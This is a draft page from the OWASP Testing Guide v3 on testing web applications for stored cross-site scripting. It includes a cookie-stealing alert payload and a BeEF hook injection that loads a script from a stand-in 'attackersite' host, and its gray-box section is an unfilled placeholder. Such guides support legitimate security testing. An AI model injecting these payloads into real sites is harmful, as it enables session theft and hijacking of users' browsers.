Testing for Stored Cross site scripting (OTG-INPVAL-002)

Revision as of 18:26, 23 June 2008 by Rsl81 (Talk | contribs)

Jump to: navigation, search

This is a draft of a section of the new Testing Guide v3

OWASP Testing Guide v3 Table of Contents

This article is part of the OWASP Testing Guide v3. The entire OWASP Testing Guide v3 can be downloaded here.

OWASP at the moment is working at the OWASP Testing Guide v4: you can browse the Guide here

Brief Summary

Stored Cross Site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and relative exploitation scenario.

Description of the Issue

Stored XSS occurs when a web application gathers malicious input from a user and then stores that input in a data store for later viewing. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.
This vulnerability can be used to conduct a number of browser-based attacks including:

  • Hijacking another users browser;
  • Capturing sensitive information viewed by application users;
  • Pseudo defacement of the application;
  • Port scanning of internal hosts;
  • Directed delivery of browser-based exploits;
  • Other malicious activities.

Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:

  • Attacker stores malicious code into the vulnerable page
  • User authenticates in the application
  • User visits vulnerable page
  • Malicious code is executed by the browser’s user

This type of attack can also be exploited with browser exploitation framework such as BeEF, XSS Proxy and Backframe. These frameworks allow for complex JavaScript exploit development.
Stored XSS is particularly dangerous in application area where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by its browser. This might expose sensitive information such as session authorisation tokens.

Black Box testing and example

Input Forms

The first step is to identify of all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:

  • User/Profiles page: the application allows user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.
  • Shopping cart: the application allows user to store items into the shopping cart which can then be reviewed later.
  • File Manager: application that allows upload of files into database.
  • Application settings/preferences: application that allows user to set preferences, settings of the application

Analyse page source code

Input stored by the application is normally used in HTML tags but it can also be found as part of script content embedded in the application page. At this stage, it is fundamental to understand if the input is stored and how is positioned in the context of the page.

Example: Email stored data in index2.php

Stored input example.jpg

The HTML source code of index2.php where the email value is located:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />

In this case, the pen-tester needs to find a way to inject code outside the <input> tag as below:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />

Testing Stored XSS

This involves testing the input validation/filtering controls of the application. Basic injection examples:

aaa@aa.com "><script>alert(document.cookie)</script>

Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as Web Scarab. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results with a windows popup containing the cookie values.

Results Expected:

Stored xss example.jpg

The HTML source code following the injection:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script>

The input is correctly stored and the XSS payload is executed by the browser when reloading page.
In case the input is escaped by the application, it is suggested to test the application for XSS filters. For instance, if the string “SCRIPT” is replaced by a space or NULL character then this is a potential sign of XSS filter in action. Many techniques exist in order to evade input filters. It is strongly recommended to refer to RSnake and Mario XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.

Leverage Stored XSS with BeEF

Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as BeEF, XSS Proxy and Backframe. Let’s see what a typical BeEF exploitation scenario involves:

  • Injecting a JavaScript hook which communicates to the attackers browser exploitation framework (BeEF)
  • Waiting for the application user to view the vulnerable page where the stored input is displayed
  • Control the application user’s browser via the BeEF console

The JavaScript hook can be injected by exploiting the XSS vulnerability in the application.
Example: BeEF Injection in index2.php:

aaa@aa.com”><script src=http://attackersite/beef/hook/beefmagic.js.php></script>

When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard and launch complex XSS attacks.

Result Expected

Gray Box testing and example

Testing for Topic X vulnerabilities:
Result Expected: